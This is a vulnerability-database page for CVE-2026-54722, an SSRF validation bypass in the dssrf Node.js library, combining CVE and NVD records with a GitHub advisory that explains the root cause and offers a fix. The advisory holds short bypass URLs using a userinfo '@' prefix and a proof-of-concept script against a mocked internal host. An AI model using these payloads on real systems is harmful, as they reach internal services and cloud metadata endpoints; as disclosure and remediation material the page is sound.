Vulnerability-Lookup

CVE-2026-54722 (GCVE-0-2026-54722)

Vulnerability from cvelistv5 – Published: 2026-07-30 16:27 – Updated: 2026-07-30 17:29

Title

dssrf: there a critical security bug with remove_at_symbol_in_string

Summary

DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.4, is_url_safe in src/helpers.ts strips the @ userinfo delimiter with remove_at_symbol_in_string before new URL parses the URL, allowing an attacker-controlled URL to bypass internal-IP validation and cause a client using the original URL to reach an internal service. This issue is fixed in version 1.0.4.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-76 - Improper Neutralization of Equivalent Special Elements

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/HackingRepo/dssrf-js/security/…	x_refsource_CONFIRM
https://github.com/HackingRepo/dssrf-js/issues/97	x_refsource_MISC
https://github.com/HackingRepo/dssrf-js/pull/98	x_refsource_MISC
https://github.com/HackingRepo/dssrf-js/commit/92…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
HackingRepo	dssrf-js	Affected: < 1.0.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54722",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-30T17:29:05.773552Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-30T17:29:31.550Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dssrf-js",
          "vendor": "HackingRepo",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.0.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.4, is_url_safe in src/helpers.ts strips the @ userinfo delimiter with remove_at_symbol_in_string before new URL parses the URL, allowing an attacker-controlled URL to bypass internal-IP validation and cause a client using the original URL to reach an internal service. This issue is fixed in version 1.0.4."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-76",
              "description": "CWE-76: Improper Neutralization of Equivalent Special Elements",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-30T16:27:13.435Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2"
        },
        {
          "name": "https://github.com/HackingRepo/dssrf-js/issues/97",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/HackingRepo/dssrf-js/issues/97"
        },
        {
          "name": "https://github.com/HackingRepo/dssrf-js/pull/98",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/HackingRepo/dssrf-js/pull/98"
        },
        {
          "name": "https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3"
        }
      ],
      "source": {
        "advisory": "GHSA-cg4g-m8jx-vjv2",
        "discovery": "UNKNOWN"
      },
      "title": "dssrf: there a critical security bug with remove_at_symbol_in_string"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54722",
    "datePublished": "2026-07-30T16:27:13.435Z",
    "dateReserved": "2026-06-15T23:07:33.232Z",
    "dateUpdated": "2026-07-30T17:29:31.550Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-54722",
      "date": "2026-08-03",
      "epss": "0.00328",
      "percentile": "0.25388"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-54722\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-30T17:16:33.180\",\"lastModified\":\"2026-07-30T19:18:08.220\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.4, is_url_safe in src/helpers.ts strips the @ userinfo delimiter with remove_at_symbol_in_string before new URL parses the URL, allowing an attacker-controlled URL to bypass internal-IP validation and cause a client using the original URL to reach an internal service. This issue is fixed in version 1.0.4.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"HackingRepo\",\"product\":\"dssrf-js\",\"versions\":[{\"version\":\"\u003c 1.0.4\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-30T17:29:05.773552Z\",\"id\":\"CVE-2026-54722\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-76\"}]}],\"references\":[{\"url\":\"https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/HackingRepo/dssrf-js/issues/97\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/HackingRepo/dssrf-js/pull/98\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"cna\": {\"title\": \"dssrf: there a critical security bug with remove_at_symbol_in_string\", \"problemTypes\": [{\"descriptions\": [{\"cweId\": \"CWE-76\", \"lang\": \"en\", \"description\": \"CWE-76: Improper Neutralization of Equivalent Special Elements\", \"type\": \"CWE\"}]}], \"metrics\": [{\"cvssV4_0\": {\"attackVector\": \"NETWORK\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"NONE\", \"userInteraction\": \"NONE\", \"vulnConfidentialityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"HIGH\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"NONE\", \"subIntegrityImpact\": \"NONE\", \"subAvailabilityImpact\": \"NONE\", \"baseScore\": 8.7, \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N\", \"version\": \"4.0\"}}], \"references\": [{\"name\": \"https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2\", \"tags\": [\"x_refsource_CONFIRM\"], \"url\": \"https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2\"}, {\"name\": \"https://github.com/HackingRepo/dssrf-js/issues/97\", \"tags\": [\"x_refsource_MISC\"], \"url\": \"https://github.com/HackingRepo/dssrf-js/issues/97\"}, {\"name\": \"https://github.com/HackingRepo/dssrf-js/pull/98\", \"tags\": [\"x_refsource_MISC\"], \"url\": \"https://github.com/HackingRepo/dssrf-js/pull/98\"}, {\"name\": \"https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3\", \"tags\": [\"x_refsource_MISC\"], \"url\": \"https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3\"}], \"affected\": [{\"vendor\": \"HackingRepo\", \"product\": \"dssrf-js\", \"versions\": [{\"version\": \"\u003c 1.0.4\", \"status\": \"affected\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-30T16:27:13.435Z\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.4, is_url_safe in src/helpers.ts strips the @ userinfo delimiter with remove_at_symbol_in_string before new URL parses the URL, allowing an attacker-controlled URL to bypass internal-IP validation and cause a client using the original URL to reach an internal service. This issue is fixed in version 1.0.4.\"}], \"source\": {\"advisory\": \"GHSA-cg4g-m8jx-vjv2\", \"discovery\": \"UNKNOWN\"}}, \"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-54722\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-30T17:29:05.773552Z\"}}}], \"references\": [{\"url\": \"https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-30T17:29:26.602Z\"}}]}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-54722\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"state\": \"PUBLISHED\", \"assignerShortName\": \"GitHub_M\", \"dateReserved\": \"2026-06-15T23:07:33.232Z\", \"datePublished\": \"2026-07-30T16:27:13.435Z\", \"dateUpdated\": \"2026-07-30T17:29:31.550Z\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-CG4G-M8JX-VJV2

Vulnerability from github – Published: 2026-07-30 16:26 – Updated: 2026-07-30 21:23

Summary

dssrf has an SSRF bypass with remove_at_symbol_in_string

Details

Summary

is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.

Vulnerability

In helpers.ts, is_url_safe does:

u = remove_at_symbol_in_string(u);   // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname;    // resolved from the corrupted string

What happens step by step

Input: http://evil.com@127.0.0.1/

remove_at_symbol_in_string → http://evil.com127.0.0.1/
new URL(...) → hostname = "evil.com127.0.0.1"
Not a bare IP, not IPv6 → passes all IP checks
is_hostname_resolve_to_internal_ip("evil.com127.0.0.1") → NXDOMAIN → returns false
Result: true (safe) — but any HTTP client using the original URL connects to 127.0.0.1

Proof of Concept

import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';

// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');

const BYPASS_URL = 'http://2@10.0.0.1/';
const PLAIN_URL  = 'http://10.0.0.1/';

// dssrf should block both — it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is_url_safe('${PLAIN_URL}')   =`, await is_url_safe(PLAIN_URL),  '← correctly blocked');
console.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️  BYPASSED (should be false)');

// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1
console.log('\n--- HTTP client ---');
try {
  const res = await got(BYPASS_URL, { retry: { limit: 0 } });
  console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️  VULNERABLE');
} catch (e) {
  console.log(`got('${BYPASS_URL}') blocked:`, e.message);
}

Root Cause

@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to reject any URL that contains a userinfo component after parsing.

Suggested Fix

Remove the remove_at_symbol_in_string call from is_url_safe and add a userinfo check after new URL():

const parsed = new URL(u);

// Reject userinfo — '@' in authority is a classic SSRF bypass vector
if (parsed.username !== "" || parsed.password !== "") {
  return false;
}

A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.

Impact

Affected version: 1.0.3 (latest)
Bypasses: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (169.254.169.254), any internal hostname via userinfo prefix
Note: The GHSA-8p33-q827-ghj5 advisory patched version (1.0.3) should be updated since this vector was not covered by that fix

Users are strongly advised to upgrade to dssrf 1.0.4

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dssrf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-76"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T16:26:52Z",
    "nvd_published_at": "2026-07-30T17:16:33Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`is_url_safe` in v1.0.3 contains an SSRF bypass. `remove_at_symbol_in_string` is applied to the raw URL string **before** `new URL()` parses it. This strips the `@` that separates userinfo from host, corrupting the hostname so internal IPs are never checked.\n\n## Vulnerability\n\nIn `helpers.ts`, `is_url_safe` does:\n\n```ts\nu = remove_at_symbol_in_string(u);   // strips ALL \u0027@\u0027 from the raw string\n// ...\nconst parsed = new URL(u);\nconst hostname = parsed.hostname;    // resolved from the corrupted string\n```\n\n### What happens step by step\n\nInput: `http://evil.com@127.0.0.1/`\n\n1. `remove_at_symbol_in_string` \u2192 `http://evil.com127.0.0.1/`\n2. `new URL(...)` \u2192 `hostname = \"evil.com127.0.0.1\"`\n3. Not a bare IP, not IPv6 \u2192 passes all IP checks\n4. `is_hostname_resolve_to_internal_ip(\"evil.com127.0.0.1\")` \u2192 NXDOMAIN \u2192 returns false\n5. **Result: `true` (safe)** \u2014 but any HTTP client using the *original* URL connects to `127.0.0.1`\n\n### Proof of Concept\n\n```js\nimport nock from \u0027nock\u0027;\nimport { got } from \u0027got\u0027;\nimport { is_url_safe } from \u0027dssrf\u0027;\n\n// Simulate an internal server at 10.0.0.1 that returns secret data\nnock(\u0027http://10.0.0.1:80\u0027).persist().get(\u0027/\u0027).reply(200, \u0027SECRET_DATA\u0027);\n\nconst BYPASS_URL = \u0027http://2@10.0.0.1/\u0027;\nconst PLAIN_URL  = \u0027http://10.0.0.1/\u0027;\n\n// dssrf should block both \u2014 it only blocks the plain one\nconsole.log(\u0027--- dssrf validator ---\u0027);\nconsole.log(`is_url_safe(\u0027${PLAIN_URL}\u0027)   =`, await is_url_safe(PLAIN_URL),  \u0027\u2190 correctly blocked\u0027);\nconsole.log(`is_url_safe(\u0027${BYPASS_URL}\u0027) =`, await is_url_safe(BYPASS_URL), \u0027\u2190 \u26a0\ufe0f  BYPASSED (should be false)\u0027);\n\n// HTTP client with the bypass URL \u2014 gets SECRET_DATA back from 10.0.0.1\nconsole.log(\u0027\\n--- HTTP client ---\u0027);\ntry {\n  const res = await got(BYPASS_URL, { retry: { limit: 0 } });\n  console.log(`got(\u0027${BYPASS_URL}\u0027) response:`, res.body, \u0027\u2190 \u26a0\ufe0f  VULNERABLE\u0027);\n} catch (e) {\n  console.log(`got(\u0027${BYPASS_URL}\u0027) blocked:`, e.message);\n}\n```\n\n## Root Cause\n\n`@` in a URL separates `userinfo` (credentials) from `host`. Stripping it from the raw string before parsing destroys that boundary. The fix is to **reject any URL that contains a userinfo component** after parsing.\n\n## Suggested Fix\n\nRemove the `remove_at_symbol_in_string` call from `is_url_safe` and add a userinfo check after `new URL()`:\n\n```ts\nconst parsed = new URL(u);\n\n// Reject userinfo \u2014 \u0027@\u0027 in authority is a classic SSRF bypass vector\nif (parsed.username !== \"\" || parsed.password !== \"\") {\n  return false;\n}\n```\n\nA working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.\n\n## Impact\n\n- **Affected version**: 1.0.3 (latest)\n- **Bypasses**: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (`169.254.169.254`), any internal hostname via userinfo prefix\n- **Note**: The GHSA-8p33-q827-ghj5 advisory patched version (`1.0.3`) should be updated since this vector was not covered by that fix\n\n\nUsers are strongly advised to upgrade to dssrf 1.0.4",
  "id": "GHSA-cg4g-m8jx-vjv2",
  "modified": "2026-07-30T21:23:13Z",
  "published": "2026-07-30T16:26:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54722"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HackingRepo/dssrf-js/issues/97"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HackingRepo/dssrf-js/pull/98"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HackingRepo/dssrf-js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "dssrf has an SSRF bypass with remove_at_symbol_in_string"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-54722 (GCVE-0-2026-54722)

GHSA-CG4G-M8JX-VJV2

Summary

Vulnerability

What happens step by step

Proof of Concept

Root Cause

Suggested Fix

Impact

Tags

Sightings

Nomenclature